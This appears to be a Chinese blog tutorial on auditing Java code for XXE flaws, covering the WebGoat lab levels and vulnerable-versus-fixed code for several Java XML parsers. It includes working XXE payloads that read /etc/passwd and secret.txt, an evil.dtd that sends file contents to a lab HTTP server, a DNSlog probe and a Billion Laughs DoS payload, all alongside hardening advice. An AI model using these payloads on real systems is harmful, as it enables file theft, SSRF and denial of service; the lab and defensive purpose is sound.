JAVA代码审计之深入XXE漏洞挖掘与防御

news2024/9/22 17:25:52

文章目录

  • 前言
  • WebGoat
    • 1.1 Docker环境搭建
    • 1.2 Leve1-XXE回显
    • 1.3 代码审计与溯源
    • 1.4 Jaxb的反序列化
    • 1.5 Level2-格式校验
    • 1.6 Level3-XXE盲注
  • 挖掘与防御
    • 2.1 XMLReader
    • 2.2 SAXBuilder
    • 2.3 SAXReader
    • 2.4 SAXParserFactory
    • 2.5 Digester
    • 2.6 DocumentBuilderFactory
    • 2.7 XXE挖掘技巧小结
    • 2.8 XXE漏洞防御小结
  • 总结

前言

2019 年在 Web安全-XXE漏洞 一文中学习和介绍过 XXE 漏洞的基础知识,但是这对于实战中挖掘此类漏洞还是远远不够的。本文将通过 WebGoat 靶场深入学习 XXE 漏洞利用,并聚焦如何在 Java 源码审计过程中发现 XXE 漏洞,以及从研发人员视角该如何规避此类漏洞。

WebGoat

2021 年 7 月我在 JAVA代码审计之WebGoat靶场SQL注入 一文中,通过物理机中 IDEA 本地搭建 WebGoat 靶场学习并了 JAVA 系统 SQL 注入白盒审计的方法,本文作为该部分源码审计学习计划的续集,继续分析 XXE 漏洞。

1.1 Docker环境搭建

此处不再在物理机直接运行 WebGoat 靶场源码了(讲道理不安全啊hh…),而是采用在 Ubuntu 虚拟机中通过 pull 现成的 WebGoat Docker 镜像,来搭建靶场环境,至于源码审计则在物理机 IDEA 中通过打开 WebGoat 源码(本文选取 WebGoat-2023.8 版本) 来进行,这并不影响整项工作。即使是需要远程调试,前面文章也学习了方法:IDEA远程调试与JDWP调试端口RCE漏洞。

1、获取 Docker 镜像很简单,可以先搜索远程仓库有哪些现成镜像:
在这里插入图片描述
2、此处选取 8.0 版本,直接拉取 docker pull webgoat/webgoat-8.0,如下:
在这里插入图片描述
3、创建并运行容器:docker run -p 8080:8080 -t webgoat/webgoat-8.0,如下:
在这里插入图片描述
在这里插入图片描述

3、物理机访问局域网 WebGoat 靶场:http://192.168.0.121:8080/WebGoat/login,成功访问,注册账户并登录即可:
在这里插入图片描述
此处本人注册 webgoat/123456 账户(在此斗胆备忘hh):
在这里插入图片描述

1.2 Leve1-XXE回显

为了突出代码审计的核心学习目标,XXE 的基础常识请参见: Web安全-XXE漏洞 ,本文不再赘述和讨论。

直接看 WebGoat 提供的 XXE 第一关的训练:
在这里插入图片描述
题目要求很明确:在这项任务中,你将在照片中添加一条评论,当提交表单时,尝试使用评论字段执行 XXE 注入列出文件系统的根目录。

1、先随便提交一条评论 test123,上 Burp 抓包观察,可发现提交的 Post 请求携带的是标准的 XML 格式数据,同时路由为 /WebGoat/xxe/simple
在这里插入图片描述

2、尝试修改 Post 请求体,进行 XXE 注入,提交如下 Payload:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
    <text>&test;</text>
</comment>

在这里插入图片描述
然后返回 WebGoat 查看评论区,发现成功读取并回显了 /etc/passwd 文件,XXE 注入成功:
在这里插入图片描述
3、题目要求读取系统的根目录,而在 JAVA中,file://协议不仅可以读取文件,还可以列举目录:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///">]>
<comment>
    <text>&test;</text>
</comment>

在这里插入图片描述
在这里插入图片描述

1.3 代码审计与溯源

完成漏洞利用后,下面来分析下源码,追溯漏洞根因。

已知上述漏洞触发的路由为 /WebGoat/xxe/simple ,故在 WebGoat 源码中搜索xxe/simple路由进行 Controller 层定位(WebGoat 是为数不多的 JAVA 语言开发且基于SpringBoot 主流框架的靶场):
在这里插入图片描述

@Autowired private CommentsCache comments;

@PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) {
    String error = "";
    try {
      var comment = comments.parseXml(commentStr);
      comments.addComment(comment, false);
      if (checkSolution(comment)) {
        return success(this).build();
      }
    } catch (Exception e) {
      error = ExceptionUtils.getStackTrace(e);
    }
    return failed(this).output(error).build();
}

先解释下上述代码涉及到的注解的含义:

注解含义
@Autowired控制如何完成自动连接或加载
@AssignmentPath(“xxe/simple”)接收并处理发往xxe/simple的HTTP请求
@RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)配置 url 映射
@ResponseBody表示该方法的返回结果直接写入 HTTP 返回包的正文中
@RequestBody String commentStr表示将请求中的数据写入到 commentStr 这个 String 对象中

上述代码可以看到:

  1. 程序将 POST 请求中的 Body 请求体中的内容赋值给 commentStr 这个字符串对象;
  2. 然后将 commentStr 交给 comments 实例的 parseXml 方法来处理,接着赋值给 Comment 类的 comment 实例(说明经过 parseXml 方法处理后的类型为 comment);
  3. 最后程序通过comments.addComment(comment, false);来添加评论,并通过return success(this).build()回传特定的响应数据给 HTTP 请求。

此处可跟进代码 java\org\owasp\webgoat\lessons\xxe\Comment.java 看到 Comment 类实际上是定义了评论的几个相关成员变量:
在这里插入图片描述
然而这并不重要,接下来的核心是继续追溯 comments.parseXml(commentStr) 处,看看 parseXml 函数如何处理我们传入的 commentStr 字符串数据:
在这里插入图片描述
审计 XXE 漏洞时对这段代码要保持敏感,这里出现了 XML 解析的的典型接口 Unmarshaller.unmarshal,也是发现 XXE 的搜索特征之一。

这里 parseXml 方法执行的主要操作是:

  1. 获取一个 JAXBContext 的实例名为 jc;
  2. 通过 jc 创建一个 Unmarshaller 对象,并执行 unmarshal方法将 xml 格式字符串 xsr 反序列化为得到 Comment 类的 java 对象;
  3. 而在 Unmarshaller.unmarshal函数执行反序列过程中解析了 XML,也是这个过程导致了 XXE 注入。

1.4 Jaxb的反序列化

本章节补充介绍一下 JAXB 的知识。

JAXB 是用于 XML 绑定的 Java 体系结构(Java Architecture for XML Binding,简称 JAXB)是允许 Java 开发人员将 Java 类映射到 XML 表示形式的软件框架。 JAXB 支持将 Java 对象编组为 XML,然后将 XML 解组为 Java 对象。

JAXB 作为 JDK 的一部分,其提供两种主要特性:将一个 Java 对象序列化为 XML,以及反向操作(即将 XML 解析成 Java 对象)。简而言之,JAXB 能便捷地将 Java 对象与 XML 进行相互转换。

  1. JAXBContext 是整个 JAXB API 的入口,主要用来构建 JAXB 实例;
  2. Marshaller 接口,将 Java 对象序列化为 XML 数据。
  3. Unmarshaller.unmarshal 接口,将 XML 数据反序列化为 Java 对象。

当把 XML 格式的字符串传递给 Unmarshaller.unmarshal 接口转变成 Java 对象时,会解析一遍 XML,如果传入的值可控就会导致 XXE 注入攻击。

来看一个具体的漏洞实例:

package com.Tr0e.test.XXE;

import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;

public class XXEVul {

    public void vul() throws JAXBException, XMLStreamException {
        String xml_payload = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE doc [ \n" +
                "<!ENTITY xxe SYSTEM \"file:///D:/tmp/test.txt\">\n" +
                "]><comment><text>&xxe;</text></comment>";
        JAXBContext jc = JAXBContext.newInstance(Comment.class);
        XMLInputFactory xif = XMLInputFactory.newInstance();
        Unmarshaller unmarshaller = jc.createUnmarshaller();
        Comment comment = (Comment) unmarshaller.unmarshal(xif.createXMLStreamReader(new StringReader(xml_payload)));
        System.out.println(comment.getText());
    }


    public static void main(String[] args) throws JAXBException, XMLStreamException {
        XXEVul test = new XXEVul();
        test.vul();
    }
}

其中 Comment 类如下:

package com.Tr0e.test.XXE;

import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;

import javax.xml.bind.annotation.XmlRootElement;

@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
    private String user;
    private String dateTime;
    private String text;
}

上述代码中,unmarshal 反序列化接口将我传递的 xml 字符串 xml_payload 解析为 Comment 类对象,由于没做任何过滤导致了 XXE 漏洞,导致传递 xml_payload 可成功读取本地D:/tmp/test.txt文件内容:
在这里插入图片描述

如何修复上述漏洞?

XXE 注入漏洞的根因是解析 XML 时对外部实体不加任何限制,那么修复手段自然是禁用外部实体和禁用 DTD。

//禁用外部实体
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
//禁用DTD
xif.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);

在这里插入图片描述

1.5 Level2-格式校验

来看看 WebGoat 提供的 XXE 靶场第二关:
在这里插入图片描述
同样提交测试评论并抓包,发现这次路由为 xxe/content-type ,其 Post 请求体类型为 Content-Type: application/json 而非 XML 格式了:
在这里插入图片描述
我们同样根据路由 xxe/content-type 定位 Controller 层源码:
在这里插入图片描述
从源码可以看出,程序从我们提交的 Post 请求中提取请求头Content-type的值,并且当其等于"application/xml"时,走入存在 XXE 漏洞的分支之中。

故此关的解题思路很清晰了,修改请求头 Content-type
的值,并将 Post 请求体的数据修改为 xml 格式的 Payload 即可:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///">]>
<comment>
    <text>&test;</text>
</comment>

在这里插入图片描述
在这里插入图片描述

此任务给我们的启示是:黑盒测试过程中,即使发现 API 的 Post 的请求体默认格式是 Json 格式的,不能直接认为其一定不存在 XXE 注入漏洞,而是应该尝试修改 HTTP 的请求方法(将 Get 请求改为 Post 请求),修改 Content-Type 头部字段(将application/json改为application/xml)后进行进一步的漏洞探测。

此思路在 Web安全-XXE漏洞 一文中也有过介绍,同时提供了一道 CTF 练习题实例。

1.6 Level3-XXE盲注

接下来看下 WebGoat 提供的 XXE 注入的最后一个训练项目:
在这里插入图片描述
题目要求我们自行编写一个 DTD 文件,读取 WebGoat 服务器上的 secret.txt 文件到 WebWolf 服务器上(此处我们采用自己的 VPS 服务器或本地物理机搭建 http 服务来代替即可)。

同样先提交一个测试评论并抓包定位路由信息:
在这里插入图片描述
路由是 xxe/blind ,应该就是无回显的 XXE 盲注了。查询源码,发现程序逻辑如下:
在这里插入图片描述

在这里插入图片描述
审计发现,程序这回限制了只有在正确提交服务端的目标私密数据到评论区后才能通关。但是这里源码是有 Bug 的,由于它并没限制评论数据的回显,所以我们直接提交 Level1 的 PayLoad 实际上是能在评论区获取到服务端数据的:
在这里插入图片描述
在这里插入图片描述
所以此题“作弊”式的快捷解题法为:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">]>
<comment>
    <text>&test;</text>
</comment>

在这里插入图片描述
但是此题的真实目是让给我们了解并训练 XXE 盲注的漏洞利用,所以还是不要“耍小聪明”了哈哈。

在 Web安全-XXE漏洞 一文中我已经给出 XXE 盲注的利用思路,此处来实战演练一下。

为了避免 Docker 服务中的文件路径与官方文档有差异,我们进入容器确认一下(/home/webgoat/.webgoat-8.1.0/XXE/secret.txt):
在这里插入图片描述
接着在攻击服务器(此处我用本地物理机192.168.51.76替代)创建远程恶意 evil.dtd 文件进行参数实体注入(参数实体通常用在 XXE 盲注上),如下:

<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">
<!ENTITY % evil "<!ENTITY &#37; xxe SYSTEM 'http://192.168.51.76:8080/%file;'>">
%evil;%xxe;

其中http://192.168.51.76:8080指的是我物理机本地起的 Python HTTP 简易服务:
在这里插入图片描述

然后在 BurpSuite 发送恶意数据包携带如下外部实体注入的 Payload:

<?xml version='1.0'?>
<!DOCTYPE data SYSTEM "http://192.168.51.76:8080/evil.dtd">
<comment>
    <text>&data;</text>
</comment>

从服务器报错信息中可以发现 XXE 盲注触发成功,成功窃取 Docker 服务器上的数据到我们的私人服务器:
在这里插入图片描述
我的攻击机(本地物理机)的 HTTP 服务已成功接收到 WebGoat 服务器的目标文件数据:
在这里插入图片描述
最后将获取到的数据提交到评论区,通关成功,散花完结:在这里插入图片描述
在这里插入图片描述
【补充】XXE盲注验证技巧

回顾原来写的博文: 浅析DNSlog在渗透测试中的实战技巧,验证一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://111.4s1b2n.dnslog.cn" > ]> 
<foo>&xxe;</foo>

执行效果如下:
在这里插入图片描述

挖掘与防御

本文的目标是学习 XXE 漏洞的白盒审计技巧和防御手段,上面的章节通过 WebGoat 靶场学习了 XXE 的白盒审计案例和漏洞利用技术,但是 XXE 的漏洞特征并非仅仅只有 Unmarshaller.unmarshal 接口,下文来总结学习下常见的 XXE 漏洞场景和修复方案。

下文将逐一给出 XML 常见的几种解析方法(即:XMLReader、SAXBuilder、SAXReader、SAXParserFactory 和 Digester)的漏洞示例和修复代码。

2.1 XMLReader

XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。

当 XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞。漏洞示例代码(假设 xml_payload 由外部 http 请求参数传入):

   public static String xmlReaderTest(){
        try {
            String xml_payload = "<?xml version='1.0'?>\n" +
                    "<!DOCTYPE data SYSTEM \"http://192.168.51.76:8080/evil.dtd\">\n" +
                    "<comment>\n" +
                    "    <text>&data;</text>\n" +
                    "</comment>";
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            // parse xml
            xmlReader.parse(new InputSource(new StringReader(xml_payload)));
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

还是借助上面 “Level3-XXE 盲注” 章节中的漏洞利用代码 evil.dtd,略作修改,将待读取的目标服务器文件修改我物理机的本地测试文件(因为我将在本地 IDEA 运行上述缺陷代码):

<!ENTITY % file SYSTEM "file:///D:/tmp/test.txt">
<!ENTITY % evil "<!ENTITY &#37; data SYSTEM 'http://192.168.51.76:8080/%file;'>">
%evil;%data;

其中 192.168.51.76 是我本地物理机的局域网 IP。接着在 IDEA 中创建上述漏洞代码,可以验证成功读取本地文件:
在这里插入图片描述
攻击机服务器(IP地址:192.168.51.76)成功接收到受害服务器的文件数据:
在这里插入图片描述
漏洞修复代码

    public static String xmlReaderTest(){
        try {
            String xml_payload = "<?xml version='1.0'?>\n" +
                    "<!DOCTYPE data SYSTEM \"http://192.168.51.76:8080/evil.dtd\">\n" +
                    "<comment>\n" +
                    "    <text>&data;</text>\n" +
                    "</comment>";
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            // fix code start
            xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
            xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            //fix code end
            // parse xml
            xmlReader.parse(new InputSource(new StringReader(xml_payload)));
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

有效性验证:
在这里插入图片描述

2.2 SAXBuilder

SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。

同样的,当 SAXBuilder 使用默认解析方法并且未对XML进行过滤时,其也会出现 XXE 漏洞。漏洞示例代码(漏洞触发同上文 XMLReader,后面不再进行演示了):

try {
    String body = WebUtils.getRequestBody(request);
    SAXBuilder builder = new SAXBuilder();
    // org.jdom2.Document document
    builder.build(new InputSource(new StringReader(body)));  // cause xxe
    return "SAXBuilder xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	SAXBuilder builder = new SAXBuilder();
     // fix code start
	builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
	builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code end
	// org.jdom2.Document document
	builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

2.3 SAXReader

DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型就能使用。DOM4J 读/写 XML 文档主要依赖于 org.dom4j.io 包,它有 DOMReader 和 SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。

同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞。漏洞示例代码(漏洞触发同上文 XMLReader,不再进行演示):

try {
    String body = WebUtils.getRequestBody(request);
    SAXReader reader = new SAXReader();
    // org.dom4j.Document document
    reader.read(new InputSource(new StringReader(body))); //cause xxe
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	SAXReader reader = new SAXReader();
    // fix code start
	reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
	reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code end
	// org.dom4j.Document document
	reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

2.4 SAXParserFactory

SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance()。

跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞。

try {
    String body = WebUtils.getRequestBody(request);
    SAXParserFactory spf = SAXParserFactory.newInstance();
    SAXParser parser = spf.newSAXParser();
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  //parse xml
    return "SAXParser xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	SAXParserFactory spf = SAXParserFactory.newInstance();
    // fix code start
	spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code start
	SAXParser parser = spf.newSAXParser();
	parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  //parse xml
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

2.5 Digester

Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons 库中的一个 jar 包:common-digester 包。

一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用。

try {
    String body = WebUtils.getRequestBody(request);
    Digester digester = new Digester();
    digester.parse(new StringReader(body));  // parse xml
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	Digester digester = new Digester();
     // fix code start
	digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
	digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
     // fix code end
	digester.parse(new StringReader(body));  //parse xml
	return "Digester xxe security code";
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

2.6 DocumentBuilderFactory

javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象,DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了一个 newInstance() 方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

try {
	String body = WebUtils.getRequestBody(request);
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	Document document = db.parse(is);  // parse xml
	// 遍历xml节点name和value
	StringBuilder buf = new StringBuilder();
	NodeList rootNodeList = document.getChildNodes();
	for (int i = 0; i < rootNodeList.getLength(); i++) {
		Node rootNode = rootNodeList.item(i);
		NodeList child = rootNode.getChildNodes();
		for (int j = 0; j < child.getLength(); j++) {
			Node node = child.item(j);
			buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
		}
	}
	sr.close();
	return buf.toString();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	db.parse(is);  // parse xml
	sr.close();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

2.7 XXE挖掘技巧小结

挖掘 XXE 漏洞的关键是:

  1. 判断目标代码是否涉及 XML 解析;
  2. 待解析的 xml 输入是否是外部可控;
  3. 是否禁用外部实体(DTD),若三个条件满足则存在漏洞。

在功能层面上, XML 解析一般在导入配置、数据传输接口等需对 xml 数据进行处理的场景;而在代码层面上,需要关注 xml 解析的几种实现接口,定位到关键代码后看是否有禁用外部实体的相关代码,从而判断是否存在 XXE。

XML 常见的解析方法有四种,即:DOM、DOM4J、JDOM 和 SAX,部分 XML 解析接口如下:

javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
org.apache.commons.digester3.Digester

相应的,在定位 XXE 漏洞的时候可以使用的搜索关键词有:

XMLReader
XMLReaderFactory
createXMLReader
SAXBuilder
SAXReader
SAXParserFactory
newSAXParser
SAXParser
Digester
DocumentBuilderFactory
newDocumentBuilder
Documentbuilder
SAXTransformerFactory
TransformerFactory
SchemaFactory
javax.xml.bind
Validator

2.8 XXE漏洞防御小结

使用 XML 库的 Java 应用程序易受到 XXE 的攻击,因为大多数 Java XML 解析器的默认设置是启用 DTD。

所以使用 XML 解析器时需要设置其属性,禁止使用外部实体,以 SAXReader 为例,安全的使用方式如下:

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
sax.setFeature("http://xml.org/sax/features/external-general-entities",false); // 防止外部实体POC
sax.setFeature("http://xml.org/sax/features/external-parameter-entities",false); // 防止参数实体POC

【More】其它XML解析器的安全使用可参考:XML_External_Entity_Prevention_Cheat_Sheet.html。

需要指出的是,若只禁用 DTD 未禁用 Doctype,无法借助 XXE 漏洞进行任意文件读取、SSRF 等攻击但仍可进行 DOS 攻击(Billion laughs attack):

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol"lol">
 <!ELEMENT lolz(#PCDATA)>
 <!ENTITY lol1"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

总结

本文通过 Docker 中搭建 WebGoat 靶场,并在本地审计 WebGoat 源码的方式,学习了 XXE 漏洞的白盒审计方式和漏洞利用技术(带回显的 XXE、盲注 XXE)。最后总结了 XXE 漏洞白盒审计过程中的关注点和示例代码,并给出防御方案建议。 结合白盒审计技术,在漏洞挖掘实战中,往往能发现黑盒测试所无法轻易检查出来的漏洞。

本文参考文章:

  1. WebGoat代码审计-05-XXE注入;
  2. 代码审计| WebGoat源码审计之XXE注入;
  3. 【卓文见识】Java代码审计汇总系列:XXE注入;
  4. 完整的审计技巧和防御:WEB安全&JAVA代码审计:XXE外部实体注入;
  5. OWASP 官方提供的 XML 解析器漏洞防御:XML External Entity Prevention Cheat Sheet;

另外,补充几个关于 XXE 实战攻击案例文章:

  1. 用友NC系统XXE挖掘,读取系统文件;
  2. 实战挖掘文件导入处的XXE漏洞;
  3. 漏洞笔记(二)|利用Excel进行XXE攻击;
  4. SRC挖洞之SSRF与XXE漏洞的实战案例。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1316159.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

strlen的三种模拟实现方法

首先&#xff0c;我们要了解strlen函数的参数以及返回值&#xff0c;还有使用方法。 1. 计数器方法 #include <stdio.h>size_t my_strlen(const char* str) {int count 0;while (*str) {count;}return count; } int main() {char arr[] "abcdef";int len …

Angular+Nginx区域HIS医院信息管理系统源码

医院管理信息系统&#xff08;HIS&#xff09;是医院基本、重要的管理系统&#xff0c;是医院大数据的基础。“云”指系统采用云计算的技术和建设模式&#xff0c;具有可扩展、易共享、区域化、易协同、低成本、易维护、体验好的优势。“H”是医疗卫生&#xff0c;由原来医院 (…

Flask学习四:补充

插件 flask-caching 简介 Flask-Caching 是一个 Flask 扩展&#xff0c;旨在为 Flask 应用程序添加缓存功能。缓存是一种提高应用性能的技术&#xff0c;通过将常用数据暂时存储在一个快速访问的位置&#xff08;如内存或磁盘&#xff09;&#xff0c;从而减少对较慢资源&…

ssm基于MVC的舞蹈网站的设计与实现论文

摘 要 随着科学技术的飞速发展&#xff0c;社会的方方面面、各行各业都在努力与现代的先进技术接轨&#xff0c;通过科技手段来提高自身的优势&#xff0c;舞蹈网站当然也不能排除在外。舞蹈网站是以实际运用为开发背景&#xff0c;运用软件工程开发方法&#xff0c;采用Java技…

自动化测试(终章)webdriver的常用api(2)以及新的开始

目录 多层框架/窗口定位 多层框架的定位 frame是什么&#xff1f; 多层窗口定位 层级定位 使用 XPath 进行层级定位&#xff1a; 使用 CSS 选择器进行层级定位&#xff1a; 下拉框处理 alert、confirm、prompt 的处理 Alert 弹窗&#xff1a; Confirm 弹窗&#xff…

万兆网络之屏蔽线序接法(上)

可以经常听到用RJ45指代网线&#xff0c;用RJ11指代电话线的&#xff0c;RJ&#xff08;Registered Jack&#xff09;即已注册插口&#xff0c;可以简单理解为一种约定就行&#xff08;参见参考链接&#xff09; 前一篇已经讲到&#xff0c;网线线对互相缠绕是为了电流方向相反…

Redis List类型

列表类型是用来存储多个有序的字符串&#xff0c;如图所示&#xff0c;a、b、c、d、e 五个元素从左到右组成了一个有序的列表&#xff0c;列表中的每个字符串称为元素 (element)&#xff0c;一个列表最多可以存储2的32次方 -1个元素。在 Redis 中&#xff0c;可以对列表两端插入…

spring面试:一、面试题分类总览+bean线程安全问题+AOP相关问题(定义、使用步骤、编程式事务管理和声明式事务管理和声明式事务管理失效)

面试题分类总览 bean线程安全问题 单例/多例 单例&#xff08;singleton&#xff09;&#xff1a;在每个spring ioc容器中都只有一个实例。 多例&#xff08;prototype&#xff09;&#xff1a;在每个spring ioc容器中有多个实例。 默认情况下spring中的bean都是单例的。但是…

【星环云课堂大数据实验】kafka消息发布与订阅

文章目录 一、Kafka概述二、实验环境三、实验准备四、实验目的五、实验步骤5.1、创建Kafka Topic5.2、Kafka消息发布5.3、Kafka消息订阅 六、实验感悟 一、Kafka概述 Kafka是由Apache软件基金会开发的一个开源流处理平台&#xff0c;由Scala和Java编写。该项目的目标是为处理实…

算法Day33 不会算数的小明

不会算数的小明 Description 现在有一个数字startValue&#xff0c;小明不会算数&#xff0c;只会以下两种操作&#xff1a; 双倍&#xff08;Double&#xff09;&#xff1a;将数字乘2&#xff1b; 递减&#xff08;Decrement&#xff09;&#xff1a;将数字减1。 给定两个整…

Python3开发笔记(简洁版)

一、开发编辑器 1. pycharm 2. IDLE&#xff08;Python自带软件&#xff09; 方法&#xff1a;Microsoft Store搜索 Python 安装 二、数据类型 Python中有以下几种主要的数据类型&#xff1a; 数字&#xff08;Numbers&#xff09;、 字符串&#xff08;Strings&#xff09…

linux(centos7)mysql8.0主从集群搭建(两台机器)

docker安装:&#xff08;转载&#xff09;centos7安装Docker详细步骤&#xff08;无坑版教程&#xff09;-CSDN博客 环境信息 主数据库服务器&#xff1a;192.168.1.10 从数据库服务器&#xff1a;192.168.1.11 1. mysql8.0镜像下载 docker pull mysql:8.0.23 2.创建docke…

CMS—评论功能设计

